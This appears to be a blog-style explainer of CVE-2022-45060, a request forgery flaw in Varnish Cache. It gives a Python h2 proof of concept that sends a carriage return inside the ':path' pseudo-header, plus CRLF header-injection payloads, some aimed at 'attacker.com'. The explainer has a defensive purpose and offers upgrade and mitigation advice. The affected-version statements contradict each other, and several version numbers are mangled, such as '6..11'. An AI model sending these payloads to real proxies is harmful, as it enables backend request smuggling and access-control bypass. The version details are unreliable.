CVE-2022-45060 targets a subtle but dangerous HTTP request forgery bug in Varnish Cache: an extremely popular HTTP accelerator used by millions of websites worldwide. This flaw affects Varnish Cache versions:
7.2.x _before_ 7.2.1
In this long read, we break down what CVE-2022-45060 is, how it can be exploited, and how you can protect your servers. Authentic code snippets and reference links are included.
What is CVE-2022-45060?
This vulnerability is caused by Varnish’s mishandling between HTTP/2 "pseudo-headers" and HTTP/1 request lines. When an attacker crafts a malicious HTTP/2 request containing certain invalid characters, Varnish could generate *malformed* HTTP/1 requests to its backend. If your backend server has its own vulnerabilities related to malformed requests, CVE-2022-45060 lets an attacker bypass normal frontend controls and directly hit sensitive backend functions.
In effect: Varnish, which should protect your backends, becomes an involuntary attacker _on your behalf_.
How the Attack Works (Step by Step)
1. Attacker Sends a Malicious HTTP/2 Request
The attacker targets the Varnish proxy, sending a carefully crafted HTTP/2 request.
2. Forged HTTP/1 Request Passed to Backend
Varnish mis-parses illegal pseudo-header characters, producing an invalid HTTP/1 request.
Backend Server Problems
If the backend server (like Apache, Nginx, or a custom app) is not hardened against such requests, this could cause misrouting, security bypass, or potentially even Remote Code Execution or information leaks.
The Technical Details
HTTP/2 allows so-called "pseudo-headers" (like :method, :path), which are not present in HTTP/1.1. RFC rules don’t allow certain characters in HTTP/1 request lines, but HTTP/2 _does_.
### Example: Malicious HTTP/2 Request
Here's a code snippet using Python's h2 library to send such a request (conceptual, for demo only)
from h2.connection import H2Connection
from h2.config import H2Configuration
import socket
# Replace with your Varnish host:
HOST = '127...1'
PORT = 443
conn = H2Connection(config=H2Configuration(client_side=True))
sock = socket.create_connection((HOST, PORT))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Craft pseudo-headers with illegal character (e.g. CR '\r' in ":path")
headers = [
(':method', 'GET'),
(':path', '/evil\r/uri'),
(':scheme', 'https'),
(':authority', 'targethost')
]
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers)
sock.sendall(conn.data_to_send())
*(WARNING: Don't run this code against systems you don't own!)*
When Varnish proxies this to backend HTTP/1, the illegal character can break out of the normal path and trick the backend server.
Exploit Scenarios
Suppose your backend server accepts HTTP/1 requests directly only from Varnish, expecting them to be valid. By sending pseudo-headers like:
:method: GET
:path: /admin HTTP/1.1
Host: attacker.com
Varnish can (depending on parsing) send the backend something like
GET /admin HTTP/1.1
Host: attacker.com
...
But if the pseudo-header contains a newline or carriage return, the backend may interpret injected headers or even extra requests.
for example:
:path: /attack\r\nX-Evil-Header: injected
Resulting HTTP/1 backend request
GET /attack
X-Evil-Header: injected HTTP/1.1
Host: targethost
...
Now the backend app sees a spoofed X-Evil-Header, possibly opening logic bugs or more!
Reference Links
- Varnish Cache Security Announcement
- NIST NVD CVE-2022-45060
- GitHub Issue & Details
You run Varnish Cache 5.x, 6.x before 6..11, or 7.x before 7.1.2.
- Your backend server expects only sanitized HTTP/1 requests from Varnish.
Upgrade to at least 6..11 (for 6.x LTS), 7.1.2 (for 7.x), or 7.2.1 (for 7.2.x).
Mitigations
- Disable HTTP/2 support unless you need it.
- Use WAFs or middlewares to filter illegal headers/characters.
In Summary
CVE-2022-45060 is another reminder that edge proxies are complex, and any bug can ripple through your entire web stack. Attackers don't have to reach your real servers: they just have to send something weird _to your proxy_.
If you run Varnish Cache, patch immediately.
Older versions will otherwise leave your backend open to attacks you never expected.
Exclusive Final Tip
Always fuzz-test your reverse proxy chain using automated tools to detect new weird parsing combinations — even after patching.
Links
- Varnish Security: VSV00008
- CVE-2022-45060 NVD Listing
- Patch Release Notes
Timeline
Published on: 11/09/2022 06:15:00 UTC
Last modified on: 02/28/2023 18:32:00 UTC